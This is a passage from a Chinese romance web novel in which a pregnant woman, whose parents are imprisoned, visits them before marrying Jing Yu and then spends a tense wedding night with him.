而且,舒纯熙从刚刚开始,打开房门露面时,身上的不对劲就更甚了。 敬渝没由来地有点担心,明明两个人都带了各自的证件,是在去领证的路上,但现在的气氛,却根本没有一丁点的喜气。 就这样想着,敬渝已然伸出了右手,握住舒纯熙交叠在腿上的一只手腕。 若有所感,她于这时转头望向了自己。 敬渝弯了弯唇角,柔声问她, “你是不是不舒服,没事吧?” 女人很快摇了摇头,难得地任他牵着,没有挣扎着要收回手,另一只放在膝上的手在这时忽然抚摸上了小腹,若有所思。 敬渝很快紧张起来,屏息凝神,朝她靠近一些坐到她身边,盯着她的腹部,那凸出来的一点点圆润弧度,连忙问: “是不是它闹你了?你现在难受吗纯熙,是不是有点想吐?” 舒纯熙又很快地摇了摇头,飘远的思绪仿佛回到了她的体内,她对上他投来的眼神,目光清明,突然正色问他: “敬渝,你说你上次去见过我父亲了,那个时候,他跟你都说了些什么,你再好好说一遍。” 敬渝疑惑了一瞬,但还是随即张开嘴,仔细回想的同时开口回答她的问题: “我和伯父聊了些案子上的事情,聊完之后,他对我说‘如果可以,希望你多照顾照顾纯熙,往后她在敬家就拜托你了’。” 他说完,注意着舒纯熙陷入深思的脸色,握着她的手动了动,又很认真地对着她说: “纯熙,那天我就已经答应舒伯父了。所以你放心吧,我一定会好好照顾你和孩子,负起责任的。” 舒纯熙不知道能不能相信他,又该不该相信他,被他牵着的手微弱地动了动,突然说: “我想先去见我爸妈,去过监狱,我们再去民政司。” 敬渝不知道舒纯熙为什么会半路提出这个要求,他脸上的神情也凝重了起来,斟酌着劝她, “一个月只有一次会见,等下个月我们再去见伯父伯母,行不行?” “一个月是规定了只有一次会见,但是你有办法的不是么,不然上次你又是怎么去见他们的?” 女人望着他的目光里面,怀疑终于变成了实质,动作坚决地把自己的手从他手心里给抽了出来,摇了摇头,临时反了悔。 “你让司机往监狱开,我要先去见我爸妈,不然我不会跟你领证结婚的。” 第28章 第二十八章、 她没有再虚与委蛇,也没有要征求他同意的意思,只是直截了当地说出了自己的要求,带着那种坚决的、不会更改的意味。 眼前舒纯熙的这幅模样,敬渝根本不陌生,虽然从表面上来看,两年后的她从和以前有些不一样了,但骨子里那种倔强和执拗,也只是被血肉皮囊包裹得更深了一点而已。 他从来也都拗不过她,好像只有“让步”这一个选择。 敬渝屏息沉默着,车厢里落地闻针,氛围凝滞着,又仿佛剧烈地拉扯着,像一根弦只是在等待终于蓄满到顶点的那一刻。 终于,握着舒纯熙的那只手无端加重了力气,敬渝开了口,克制地舒出一口气。 “去一等公狱。” 驾驶座的司机应声,在下一个路口调转了车头。 没过多久,敬渝又从口袋里摩挲着用左手拿出了手机,然后放到裤腿上,解锁,打开电话本,找到一个号码,拨出后,又用有些不熟练的动作,把手机拿了起来放到左耳边上。 余光里,舒纯熙看完了他所有的动作,对于他宁愿这样都不松开右手的行为,有点无语,但终究没有做什么,只是敛下眸子,听他继续讲电话。 敬渝安排的自然是他们进监狱的事情,同那头礼貌客套了两句,并没有什么额外的信息。 舒纯熙听了一会儿,就有点疲惫起来,仰身向后,靠在椅背上面闭上双眼,朝着窗外的方向偏过头,竟然也迷迷糊糊地睡了过去。 待到耳边传来放松的、有规律的微弱呼吸声,敬渝才卸下肩背上绷紧的劲儿。 他放下手机,转头看过去,舒纯熙的脸并不是对着他这边,只留给他一个侧影,看不清楚她脸上的神情。 犹豫了一会儿,他悄然朝着身侧那人的方向探了过去。 左手顺着她脖颈底下的空隙轻柔地伸了进去,垫在她脑后,然后轻轻一拨,将舒纯熙的脸朝向了自己这侧。 做完这些,敬渝又小心翼翼地收回手,面上端着一副脸不红、心不跳的样子,蹙起眉头的样子,还是平时那个雷厉风行的敬总。 等红灯的功夫,驾驶座的司机大叔飞快地飘了一眼后视镜,然后两颗眼珠一转,在眼眶里划出个彩虹般的弧度, 才将目光移回了前方的马路上。 而后座的人,保持着偏头的动作就没有变过,目光一寸不错地盯着面前的这张脸,已经不自觉地勾起了唇角。 她睡得熟了,就和以前一样,坐在车里有些颠簸的感觉,反而更容易让她陷入梦乡。 敬渝倚在椅背上,望着她,就好像他们正面对面在看着彼此一样。 这样的日子,实在是久违了。 他努了努双唇,将一声笑含在喉中,望着整个身体随着睡梦中的呼吸而规律起伏的舒纯熙,直到一记突然的刹车,身侧的肩膀被女人撞上。 敬渝于一瞬间僵住了身体,根本无心去管司机表达抱歉的话语,立刻就不敢动弹了。 怕她被惊醒,然后离开。 又怕他一动,她感觉到了,然后离开。 还怕他因为眨了一下眼睛,就发现现在的场景只是自己的幻想,她并没有靠过来。 就这样想着,男人的呼吸都刻意地放到缓得不能再缓,活像一只懒得不行的考拉。 但他忽然又觉得自己应该是一颗桉树。 因为舒纯熙的鼻梁压在他坚实的胸膛上,似乎有点难受,于是她“唔”了一声,不太高兴了,很快就蹭着他的身体挪动了一下脑袋,找了个更舒服的姿势,将侧脸抵在他肩膀上,呼吸又逐渐沉稳起来。 充当靠垫的敬渝闭上了双眼,胸膛里被一种酸涩又满足的奇怪情绪给淹没了,像是热带森林里面所有新鲜水果的美好和热烈都加在一起,一齐迸发出香味和果汁的那种感觉。 但他又不确定,这一切是否真的任他沉醉迷恋,或许他并不配得。 所以他还是一只考拉,舒纯熙才是那颗桉树,因为是她在散发那种让熊忍不住要靠近的毒素。 他讪讪地想着,情不自禁地又笑了,像一只呆熊。 。 去一等公狱的路程花了将近一个小时,舒纯熙迷蒙间醒来过几次,但又在颠簸里很快地继续睡下去,连眼皮子都不愿意睁开,不想放过自己好不容易得来的睡意。 等到车身停下,已经习惯了行车动静的身体比大脑更早清醒过来,她后知后觉地意识到,应该是已经到了。 舒纯熙睁开了双眼,看见眼前的敬渝。 转动了一下眼珠,将视角补充全面,然后开始疑惑自己为什么会离敬渝这么近,准确来说,她为什么像是贴在他怀里、要他抱着在睡觉的样子。 理智回笼的同时,女人皱着的眉心也重新出现在她的脸上。 “正好到了,下车吧。” 敬渝已经看见舒纯熙的反应了,要说心里面没有一点落差感肯定是假的。 勉强地扯了下嘴角,挪动有些发麻的身体,转过身坐回另一边,有点不自在地伸手打开门,率先走了下去。 已经有人等在监狱门口了。 今天事发突然,两个人都没有准备帽子口罩。 下车后的舒纯熙,心头立刻浮上一种不适的感受,紧跟在敬渝身后,试图将自己藏进他的背影里面。 前面跟宁秘书走在一起的敬渝一连走出好几步,似乎意识到了她的局促,依旧同身旁人保持着闲聊似的交谈,但步子已然慢下来,向后伸手抓住了舒纯熙的手腕,将她朝自己身边一带。 舒纯熙立刻警惕地瞪了他一眼。 敬渝目不斜视,没有给她任何回应,反而在几息之后,大掌径直向下,从她张开的五指之间插进去,与她十指相扣,牢牢地握住了她的手,带着她一起往前走。 舒纯熙不想当着外人的面跟他计较,但他竟然还敢得寸进尺。 终究是气不过,到了会见室外面,宁秘书同狱警交接的空当,她抬起鞋跟面不改色地踩了敬渝一脚。 然后,神情恹恹地上前两步,同候在门口的宁秘书道了句谢,走进了会见室。 留下敬渝一个人,面部表情隐忍克制的站在原地,和宁秘书投过来的目光在半空相遇。 对方投过来带着询问的目光,似乎看出他的异常,而敬渝也只能礼貌地笑了一下,转而走到旁边的窗户跟前,往外看外面的景象,深呼吸了一口气。 几分钟的时间,脚背上的那点疼痛已经爬下去,她踩他的事情就翻了篇,敬渝的脸上,不由自主地换上颇为凝重的表情。 或许踏入这里之后,还想要保持平静的心情,本就是很难做到的事情。 至少在这一点上,他能很敏锐地捕捉到先前舒纯熙的那种情绪。 …… 没有等太久,身后会见室的门就开了。 舒纯熙从里面走出来,面上没有什么明显的表情,淡淡地朝他投过来一眼。 “走吧。” 一时之间,敬渝竟然判断不出来,舒怀宁跟舒纯熙说了些什么。 她反悔了么? 是因为要反悔,所以这个表情,还是因为不能反悔,所以这个表情呢? 敬渝想不清楚了,只好冲舒纯熙安抚地笑了一下,走上前,对她说: “我想进去见下伯父。你先跟宁秘书去女狱那边吧,伯母在等你呢。” 说完这话,舒纯熙脸上怀疑的神色一点都没有掩饰。 敬渝只好又冲她平常心地笑了笑,手极轻地在她胳膊旁拍了一下,看着她转身跟着宁秘书离开,然后才稍稍放下一口心气,敲了敲门。 在听到一声“请进”之后,敬渝推开了会见室的门。 直到敬渝走进来,出现在自己的视线里时,舒怀宁才知道,今天女儿竟然是跟敬渝一起来的。 方才她并没有提起这个。 舒怀宁坐在桌子后面,双手交握,放在身前的桌上。 微微仰着头,用目光打量着从门口逐渐走近的敬渝。 其实两人不久之前才见过。 这两年,除了逢年过节,舒纯熙和敬亭来探监的时候他不会出现,其余时候的会见,来的都是敬渝,每两个月一次,雷打不动。 来了,两个人也不谈别的,对生活琐事的关心不过点到为止,重头戏自然还是舒家的案子。 大多数时候,都是敬渝问些具体的问题,舒怀宁回答。 他们之间的交流很微妙,因为敬渝在外面的所作所为,舒怀宁无从得知,他也不会授意敬渝去做什么。 但到了探望的时候,敬渝又会例行公事地出现在这间会见室里。 舒怀宁并不能毫无保留地同敬渝交底,但后者好像也并不是很介意。 还有一个原因,那就是从前他总以为敬渝最终会是自己的女婿,隔了辈分,如今却要平起平坐地在一起论事,多少还是有点说不清道不明的古怪来。 敬渝走到桌子前,站着喊了声“伯父”,才拉开椅子,在他面前坐了下来。 而此时桌子后面的人还在思虑着方才女儿带来的消息,舒怀宁不出声,敬渝也就没有贸然开口。 一老一少两个男人,一时间就维持着心照不宣的沉默。 第29章 “纯熙刚刚跟我说了你们的事,征求我的同意。我已经和她说过了,我不反对。” 最先打破寂静的是舒怀宁,他沉声,目光紧紧盯着面前这个年轻人的眼睛,不错过一丝一毫的微表情。 对面的年轻人目光闪烁了一下,唇角扬起一个弧度,眼底浮上克制的激动,郑重地对他说: “伯父您放心,我一定会好好照顾纯熙,一辈子对她好的。” 敬渝能说出口的话,就是真的能做到。 这点舒怀宁并不怀疑,他看着敬渝长大,心里对他的人品有数。 “好,记住你说的话。但是,有一件事我要和你交代清楚。” 舒怀宁探究的目光逐渐饱含深 意,思虑着,颇为严肃地对敬渝说: “当年她嫁给敬亭这件事,后来我想,其中应该有我的原因。是我叫她去寻求敬家人的庇护的。 “你不娶,她未嫁,就各有各的前程可奔。她在这件事上没有任何过错,你不能以此为理由责难她,让她受委屈,这你应该清楚,也能够做得到吧?” 静坐着,敬渝的神色同样深沉起来,像是糊成了一团的纸上旧墨,看不清楚眉眼嘴角之间,究竟蕴藏着什么样的心绪。 只在舒怀宁说完这段话后,兀自沉默了半刻,艰难地开口,一字一句重如千钧。 “这是自然。” 交代完这些话,舒怀宁终于深深吐出一口气,扶着额,因伤神而有些困倦,皱眉合上了双眼,最后说了一句: “但纯熙心里一定有气未消,这件事你自己去解决,毕竟往后还要过日子。” 说完,支在额边的那只手摆了摆,示意他可以走了。 敬渝便站起身,离开之前,又看了一眼坐在桌后的舒怀宁,动了动唇瓣,低声说: “承蒙不弃,多谢泰山大人指点。” 舒怀宁云淡风轻地“嗯”了一声。 待到耳边传来开门后又关上的“吱呀”声,他才睁开眼,望着眼前空荡荡的会客室,颇为畅意地笑出了声。 。 舒纯熙见到杨曦后,很快就将自己和敬渝打算结婚的事情告诉了母亲。 拉着舒纯熙手臂的杨曦很明显地愣了一下,但还是尽力将面上的异样给压下去,喏喏地想说点什么,接过舒纯熙的话茬,但一时之间,竟是无语凝噎住了。 但凡舒纯熙带来的消息里面,她是要跟任何一个出身显赫的男人结婚,杨曦都会喜忧参半。 同时与女儿笑着骂上几句她那死脑筋的执拗父亲,总还是不放弃他脑子的那些观念。 可是,即将成为她新女婿的人,却是敬渝。 杨曦拉着舒纯熙走到桌旁,一手撑在桌面上,状似寻常地走了两三步,一面还在偷偷观察舒纯熙的表情。 但被观察的人一派平静,并没有什么特别明显的反应。 好像大惊小怪的人反而是自己。 杨曦悄悄放下了心,露出一个笑容来,对舒纯熙说: “这样也好,敬渝这孩子还是不错的,妈妈可以放心了。” 舒纯熙也回之一笑,赞同地点点头,扑进杨曦的怀里,紧紧地埋首,眷念地拥抱着母亲。 杨曦则伸出手,一下一下地轻抚着舒纯熙的脊背,安抚着她。 待了一会儿,时间差不多了,舒纯熙就告别杨曦,走出了会客室。 脸上的笑容,也就在顷刻间收敛起来。 她向前一步,跟着宁秘书一起往监狱外走。 敬渝也刚刚从男狱那边出来,坐在车上等她,见她走出来,很快也下了车,将她这边的车门打开,看着她坐上去,再转身同宁秘书去道别。 从监狱离开,再去民政司的时间就有些紧迫,司机默默踩着油门加速。 后座上的两个人各自守着自己的那一边,偏过头在看窗户外面的风景。 现在车厢里着急的人好像就我一个。 司机讪讪地想,一言不发地盯着前方的路。 最后两个人排上队,成功在民政局下班之前办好了手续。 “恭喜两位喜结良缘,这是二位的证件,请拿好。” 舒纯熙看着眼前工作人员递过来的暗红色结婚证,望着上面“结婚证”三个大字幽幽出了神,伸手接过来拿在了手上。 扯唇回应了一下工作人员,她站起身就往外面走。 动作慢她半拍的敬渝连忙也站起来,手里拿着属于自己的那本结婚证,小跑两步,追上了她,和她并肩往外走。 舒纯熙脸上压根没什么结了婚的喜气,敬渝自然也就不会没眼力见地去说什么“新婚快乐”,默不作声地紧跟着她的脚步,一路无言地走到了停车场,上了车。 坐上车,回程路上,敬渝总算思考出一件可以说的事情,偏头凝望着她,轻声地问: “纯熙,你想怎么办婚礼?选什么时间好呢。” 舒纯熙应声扭过头看着他,不置可否。 敬渝眨眨眼,便继续说了下去: “婚礼肯定要按照你的喜好来安排,我都听你的。我记得,你以前是不是喜欢草坪婚礼?家里那片草坪就不错,或者在森林里面办,我让人先去预约国家森林公园的场地,那边不是有一片蓝湖么?到时候景色会很美。” 面前的人依旧没有开口,但也没有打断他,看得出来她在听,敬渝边想着边说,思虑得颇为认真。 “婚纱也要提前订,你不是最喜欢那个洛西斯的高定品牌吗,或者请尤佳静回国来帮你设计……婚宴的宾客名单,也得提前开始拟,我们两个的朋友、同学都要请到,还有一些生意上往来的合作伙伴,尽量办得隆重一点吧……” 敬渝想着,口中呢喃着最后一句话,话音拖长一时间没有落下。 当年的事情,就像一块疤一样横在彼此的心头。 所以这次,他希望能把婚礼办得盛大一点,能请的都请到,昭告所有人,让所有人都知道,他和她结婚了。 想到这,他有些怵地去瞄舒纯熙的眼色,然后,看见她不耐地皱起了眉头,歪歪头,忽然对他说: “我什么时候说要办婚礼了?你有心思去考虑这些没有用的东西,还不如早点想办法接我爸妈出来。” 说完,她冷冷地瞥了他一眼,没好气地偏过整个身子,朝着窗外的方向依靠着,把后背留给敬渝。 身后好一会儿没有传来回应的声响,过了几分钟,响起轻微的衣料窸窣声,大概是敬渝坐正了回去。 淡淡的男声传到耳边来,有点生硬,应道: “我知道了,你放心吧。” 之后,一路无言。 回到家,舒纯熙脱了鞋就径直上了楼,回到房间,扑在自己的床上,一动不动地盯着眼前最近的被面看。 过了一会儿,压得身体有点难受,她才从床上爬坐了起来,伸出手臂,把左手移到露台的那扇推拉门的方向,就着外面的天光,打量起自己手上的这枚戒指。 刚刚在车上,敬渝说起什么婚礼、婚纱的时候,她就顺其自然地想起了婚戒,也就是自己手上的这枚戒指。 女人歪着头,目光轻飘飘地落在无名指上。 那是两只小燕绕着一颗成色绝佳的珍珠的样子,燕子一上一下环绕在中间的宝珠旁,灵动无比,周身都做了钻石的镶嵌。 这样的设计手法,有点像是她最喜欢的奥丁铭灵的风格,但据她所知,又并不是他现今存世的作品之一。 舒纯熙撇了撇嘴,不欲再去想。 过了一会儿,李阿姨在外面敲了敲她的房门。 舒纯熙应了声,下床去开门,对上一张难掩高兴的脸。 至于她高兴的是什么,舒纯熙不用多想也能猜得出来。 看得出来,她和敬渝结婚,所有人都挺高兴的。 于是舒纯熙便也对着李阿姨露出一个淡淡的笑容,回应她的善意。 脑子里一闪而过宗正最后的那个问题,他说: “那你自己呢?舒纯熙。” 所有人都知道,嫁给敬渝是很好的选择,但你呢,你心里又是怎么想的呢? …… 我怎么想的,大概不重要。 舒纯熙倚在门边,看着脑海里拂过方才的回忆,又将注意力移到了李阿姨的脸上。 李阿姨依旧冲着舒纯熙笑眯眯地,自己看着长大的两个孩子,兜兜转转,总算能重新在一起了,她心里洋溢着一种欣喜到不知道该怎么说才好的情绪。 好像本来就该如此,如今事情总算回到正轨,总算又变回了它原本该有的样子了。 她由衷地替敬渝和舒纯熙感到高兴。 就这样想着,笑意还在加深,同面前的舒纯熙说: “夫人,我上来是想问问,你看什么时候帮你搬房间比较方便呢?要是可以的话,现在我就让人帮你收拾,今晚你就能跟敬总住到一块儿去了。” 舒纯熙嘴角的笑容凝滞了,被李 阿姨的话惊到了,默然消化了一会儿,才幽幽地问了句: “是敬渝让你来说的么?” 李阿姨不知道这有什么关系,既然结了婚,新婚夫妻住在一起不是很正常的吗? 但她还是点点头,说: “我刚刚向敬总提的这事,敬总也同意了的。” 第30章 舒纯熙没有立刻拒绝,思考了一会儿后,脑袋里也只有一团迷雾堵在那儿,最后,叹了口气,竟然鬼使神差地点了点头,同意了李阿姨的提议。 李阿姨很快就张罗了起来,下楼叫了两个人,来帮舒纯熙收拾行李,然后开始把东西从她现在的房间往敬渝的卧室搬。 舒纯熙的行李并不多,但自从她住进来之后,陆陆续续房间里也多出来不少精巧的摆设,而李阿姨指挥人把这些东西也给搬过去,包括她现在睡得这张床垫。 敬渝的卧室在走廊东边,靠尽头的倒数第二个房间。 佣人忙碌在走廊上,将东西一趟一趟的搬运着,舒纯熙也跟在后面,默默地走到了敬渝的卧室跟前,站在门口往里面透过去打量的一眼。 后面有人抱着枕头来,朝她轻声叫了句“太太”,舒纯熙反应了一会儿,才回过头去,发现自己挡在了门框之间。 她抱歉地收回目光,往前两三步,走到了房间里面,给别人让出位置来。 然后,置身于房间里,不论她愿意与否,整个卧房的景象也就彻底映入眼帘了。 黑白灰青四种颜色,就是敬渝卧室的所有颜色。 进门右手边是洗手间,左转有一个衣帽间,刚刚她被拿进来的衣服就是放到了那里。 再往前走分为两块区域,左侧沙发茶几,右侧是床。 前面,是一个小露台,和她原来住的那个比起来逼仄得可怜,想来只能站出去透透风,和波利那些建筑里的阳台倒是很像。 房间装潢简约,整洁朴素得像是没住人的样板间,没有一点人味。 若说是敬渝的房间,她也就理解了。 舒纯熙倚在阳台的玻璃门上,不绝于耳的人声莫名让她觉得很安心,低头玩起自己的指甲来。 她以前总想过,自己有一天会住到这里面来,会成为这个房间一半的主人。 那时候情感炽烈也很真诚,对敬渝的卧室也带着浓浓的好奇,想他不在自己视线之中的时候,都是怎么生活起居的。 或许是因为心底曾经的回忆又出来作祟了,她那些念想有机会成真,又明晃晃地送到跟前,她才没有拒绝。 舒纯熙想着想着,好整以暇地任由目光虚焦,直到耳边的声音逐渐消失,看着整理好后的房间,她才露出种一言难尽的表情来。 这种一言难尽在敬渝身上倒没有过多的体现,因为他整个人都表现得不太自然。 晚上两个人如常用完晚餐,舒纯熙上楼回了房间,敬渝则先去书房,等到九点多,他记挂着时间,才鼓足勇气,上楼回房。 门关着,他轻轻地敲了敲门,等到里面传来一声“请进”后,才推门走了进去。 方才那道女声的主人,正坐在床上他睡习惯的那一侧,腰腹到腿上盖着一层薄被,低头看着平板。 青灰色的皮质大床,上面铺着淡紫色的真丝床品,确实有些违和。 似乎是他突然回来,打扰了她做事的进程,床上的舒纯熙捻着平板的笔抵在下巴上,轻飘飘地朝自己投过来一个眼神。 敬渝被这目光瞧得,登时就觉得不自在了起来,抿紧双唇,躲闪似的在房间里左右看了一下,终于, “我,先去洗澡。” 不知道是对空气说的,还是对床上的人说的,总之他找到了该做的事,转身走进衣帽间,低头拿自己的换洗衣物。 原本的衣橱,空出了一大半的位置给舒纯熙,敬渝原先的衣服就换了地方,不知道被收拾到哪里去了。 他低头辨认着,打开一扇柜门时,对着映入眼帘的舒纯熙的衣服不由自主地屏起呼吸。 她从莫瑞恩尔回来的时候带的东西不多,剩下的大部分衣物都是后面再打包运回来的。 现下那五颜六色的女士服装塞满了他原本气氛冷淡的衣帽间,把这一切都给染上了颜色。 他的心砰砰跳着,却连忙移开目光,继续去找自己的睡衣。 舒纯熙余光看得见,敬渝从衣帽间出来,径直走进了洗手间,而后,“咔哒”一声落了锁,又过了一会儿,里面传来淅淅沥沥的水声。 这房子的隔音不太好。 她嘀咕了一声,皱起眉头继续看平板上的拼图小游戏,一个手举着蛋糕的小男孩,怎么也找不到是该放在哪儿。 盯着看了好一会儿,她就没有耐心了,一下子扔了笔,拿起手机查看起消息来。 过了一会儿,她似乎又耐下性子来,想继续玩,就找回笔,在平板上戳了起来。 敬渝至少在洗手间里磨蹭了半个小时。 洗澡、洗头再吹头发,实在没办法再待着不出去了。 打开洗手间的门,一身水汽的男人走了出去,低着头看着路,绕到床的另一边,掀开被子坐了上去。 松软的床垫因为突然多了一个人的重量,朝他的方向陷下去一个明显的坑,敬渝一手撑着床垫,感受着这张床垫的弹力效果,蹙起眉头,飞快地瞥了一眼不远处的女人。 两个人的目光在半空中遇上,一息不到就各自转开,往别的地方安置着自己的眼神。 敬渝默不作声地挪动下身体,靠在床头的皮质靠背上,坐正了。 耳边有她平板上正在玩的游戏自带的欢快配乐,“叮叮咚咚”的很愉悦。 男人偏过头,远远地去望她在玩的游戏,看她用笔拉着一个消防车往屏幕上的某个地方放下,然后就会出来一声“叮铃”的音效,证明她是选对了。 屏幕上分布着不同面积的彩色图案,剩下那些没有被填上的就是白色的,只用黑板留了一个线稿。 底下消灭一个再放出来一个的面板上,是游戏随机给出的拼图色块。 舒纯熙玩得挺认真的,不知不觉间盘起双腿,将平板捧在中间的被子上,往前低头微微俯着上半身。 似乎又遇到一个找不出来的拼图,她有点心烦意乱地把笔塞回保护壳的卡槽里面。 “怎么不玩了?” 一直在旁边默默看着没动的敬渝,奇怪地扬了扬眉。 舒纯熙没好气得剜了他一眼,瞪得圆圆的乌黑眼珠里面,带着点幽怨和烦躁。 敬渝牵唇笑了起来,朝她伸出左手, “给我看看,我帮你找。” 努了努嘴唇,舒纯熙不置可否,慢悠悠地解锁了平板,扔到敬渝手边不远处,抱胸倚回了床头,并不看他的方向。 敬渝哑然失笑,伸手捞起她的平板,盯着她留下来的小半面拼图,认真思考了起来。 她玩的时候,敬渝可以偷看她,但敬渝玩的时候,舒纯熙是不可能也去看他的。 但耳边传来的提示音却没有关掉,在一旁提醒着进度。 大功告成、闯关之后还会有一个更激动的提示音,舒纯熙耳朵尖,捕捉到后依旧闭着双眼不曾睁开。 过了一会儿,男人忽然从后面探身过来,将平板放在她身前,低声在耳边说: “你看?” 身后的男人突然离得太近,陌生的但又带着进攻性的雄性气息席卷了她,铺天盖地地翻涌而来。 舒纯熙立刻就感到不适起来,目光压根就没在他邀功般递过来的平板上停留,更没有看屏幕上最终展现出来的成品效果图。 她已然变成了一只触电后炸起全身毛发的黑猫,表情极为不善,嘴巴和身体比她的大脑反应得还要快。 “不要碰我。” 女人声沉如水,冷淡得如同秋霜,里面蕴含薄怒,或许还有什么敬渝来不及察觉的情绪。 而他刚刚并没有要碰她的意思,也没有真的碰到她的身体。 但她话已出口,闻言,男人朝她递平板的那只手臂克制 地蜷起,在攥成一个拳头之前,有点僵硬地收了回来。 如她所愿,另一只撑在她身后的手臂也挪动了位置,默默地在几息之间,按照她的要求退避三舍。 敬渝坐回了他一开始的位置。 背对着敬渝的那个身影亦是无比僵硬,杵在原地,应激过后的反应又逐渐在消退。 她垂下眼眸,低头扫了一眼平板上还没有熄灭的屏幕,虚弱地呼出一口气。 房间里明明有两个人,但气氛冷淡得像是刚刚大吵过一架,直逼零度。 终于,不知道过了多久,敬渝努力牵动了一下唇角,柔声说: “不早了,睡吧。” 说完,左边床头那一动不动的身影挪动了一下,“嗯”了一声,默默地下床去了洗手间,回来后也没有看他,直接钻进被子里面。 现在昼米尔的温度很高,几近是夏天,只不过还没有开空调,是以床上也只准备了一条薄被。 舒纯熙钻进被子里裹住自己,但另一边被角在敬渝这边,所以他们两个之间,其实是漏风的。 敬渝不觉得有什么,但夜间凉爽的温度对于舒纯熙来说,应该还是有点冷的。 他想了想,掀起被子下了床,将自己那侧的被子往她那边推了推,没忘记不要莫名碰到她。 想说这被子都给你,任你一个人处置,但到了嘴边,他又只是低低地说了句: “你先睡,我去书房。” 舒纯熙躺上床后就一动不动。 她不是一个好脾气的人,但有时候迁怒到别人,又会因为别人遭受了无妄之灾而暗自愧疚。 可敬渝虽然无辜,但又并不完全无辜。 她才不跟他道歉。 果然,他也忍不下去的,男人都是一样。 说什么去了书房,其实就不会再回来了。 舒纯熙总算动了,懒洋洋地翻了个身,声音还是那样的冷,悠然答应道: “好啊,那你去吧。” 敬渝“嗯”了一声,走到门口,打开门走出去了。 房间里却还弥留着他的气息。 舒纯熙清楚地知道,自己不会睡着了,平常的日子想入睡都困难,现在更是别妄想了。 她沉着脸从床上坐起来,打开床头柜上的一盏夜灯,团住自己的双腿,低落的情绪如针扎在五脏六腑,无孔不入。 她迷茫,愧疚,难过,她又愤恨,又无助,又痛苦。 所有的一切最终都变成了绝望的祈祷。 希望舒家可以早日平反出狱,到那个时候她就能去死了,她总能够得到解脱的,而不是被敬家的这两个男人轮流着折磨。 。 柳叔已经到了年老觉少的年纪了,夜晚敬宅自有安保巡逻,但他睡过一觉醒来,也习惯绕着主楼边再走上一段,然后继续回去睡觉。 然而当他从外围绕完一圈,回来就看见了坐在庭院的台阶上,正在用铲子挖土的敬渝。 一个花盆放在阶下,穿着睡衣的男人双腿岔开在两侧,手里拿着一个铲子,正在花盆里面试图挖出一个坑来。 柳叔远远望到,在他旁边,还有几个更大的花盆,想来他是不知道从哪里找来这些工具,然后将原本花盆里的土给挖出来填到了他面前的这个空花盆里面。 看样子,已经完成得差不多了,就差播种或者移植了。 眉心重重一跳,柳叔走过去,看着正在专心致志地做着眼前这项工作的敬渝,默不作声地在他身边也坐了下来。 夜里的台阶还是凉的,他一哆嗦,然后才张口,放缓了以往铿锵有力的语调,问身旁干活的人: “少爷,你在干什么呢?” “种栀子花树。” 敬渝头也不抬,把种子撒进去,又将旁边的土给填上,有点为难地凝视着自己的杰作。 他会做很多事情,但并不会养花。 可他现在不想做那些精通的事情,只想要把眼前这盆花给种好。 柳叔还没有问他为什么要种栀子花树,敬渝自己已经开口了,淡淡地解释了一句: “纯熙喜欢栀子花,我以前答应过她,结婚的时候亲手种一颗送给她。” 其实那时候是她想要,但他不愿意花时间纡尊降贵,满足她小女儿的情思,被磨得不行了,就想了个折中的方法,才说结婚的时候种了送她。 她那时候是最容易轻信任何一种品类广告的年纪,电视上说什么东西能美容养颜,她都会照信不误。 而他勉强算是个营销上的人才,两句话就在她心里描绘出一颗带有纪念意义的栀子花树,完美打发了她。 时间过去这么久了,或许她都不记得了。 而他这么多年里,也没有真的为此去学过种植的技巧。 他为什么那个时候不答应她,立刻就种一颗送给她呢? 一切都乱了套。 敬渝扯了下嘴角,脸上的表情很难看,毫不留情地说,他看上去简直就像是要哭了。 “柳叔你看看,我种得对不对?” 他用脚将花盆往自己这边轻轻踢挪了一下,给柳叔看。 “不对。” 柳叔说完,看着身侧年轻人有些惊诧的目光,沉沉地叹了一口气。 “少爷,你想种花来讨纯熙小姐的欢心,很好,但是花什么时候都能种,不该是现在,你觉得我说得对不对?” 敬渝眼里的光闪烁了一下,如同一颗星星陨落般黯淡了下去,不说话了。 看他的样子,柳叔就能猜到,他大晚上在这里种花,肯定还有别的原因。至于原因是什么,看敬渝脸上的表情也不难想出来。 柳叔替他叹气。 而敬渝已经叹不出气了,胸膛里空荡荡的,任他现在做点什么,都好像不会轻易填满了。 他低下头,呢喃地说: “她讨厌我,再也不会喜欢我了。” 甚至连他有可能的触碰,都让她觉得难以忍受。 可她怀着孩子呢,他又怎么可能对她做什么?他是绝对不会强迫她的。 “那你打算怎么办?” “我,我不知道。” 敬渝垂头捂住面庞,摇了摇头,周身笼罩着束手无策的疲惫感。 “少爷,以前都是纯熙小姐追着你跑,所以你只要接受就行了。但现在,你要是还想跟她重归于好,就不能等着她再主动了,你得主动点,包容她,明白吗?” 敬渝松开手,似乎被他说动了,终于明白了一些其中的关窍,愣愣地思索着。 柳叔不再多言,等在他身边,等他自己把往后的路给想明白。 过了一会儿,他心想时间应该差不多了,敬渝应该也想清楚一点事情了,就从台阶上站起身,换上严厉的语气,同敬渝最后说: “少爷,你娶纯熙小姐回来,是为了让她受到冷落而伤心无助的么?” 敬渝立刻摇了摇头,便看见柳叔瞪着他,拔高了一点音量,接着追问道: “那新婚夜,你不待在房间里面,到底在这儿干什么呢?”【你现在阅读的是 】 30-40 第31章 舒纯熙倚在床头,什么都没想,只是在发呆。 她闲下来的时候什么都不干,因为没意思,偶尔找点东西打发时间,也不会真的兴致盎然。 现在已经十二点多了。 今晚的睡意还没有着落,她就干熬。 就在某个神思沉寂的时刻,房门从外面打开了个小缝,有人静悄悄地走进房间。 坐在床上的舒纯熙疑惑地望过去,看见了回来的敬渝。 另一头站着的敬渝本担心灯光投进来,把床上的人搅醒,又要小心不弄出声响,把人直接吵醒,几乎是惦着脚走进来,又动作小心地立刻就关上了身后的门。 但房里亮着一盏灯,显然他想差了,舒纯熙根本就还没有睡。 但是刚刚他走的时候,她不是已经躺下了吗? “怎么还没睡,是不是睡不着?” 敬渝疑惑着,直起身子,朝床头那边望过去,放轻了声音,主动问道。 然后他就看见床头的人立刻探过身把灯关了,窸窸窣窣的声音响起,她已经平躺了下去,用行动回答了他的问题,意思是说她现在就睡。 也不知道她是没有精力说话,还是懒得跟他多说。 敬渝甚至怀疑她反应的动作,都带着一种无声的赌气。 而他亦是心头堵堵的。 房间里没有开灯,他站在原地看那一片静得没有任何声响的地方,想起柳叔的话,犹豫了一会儿,走过去,对着床上的人解释了一句: “我刚刚下楼找了个花盆,种了栀子花的种子。” 床上的人翻了个身侧躺过去,用背对着他。 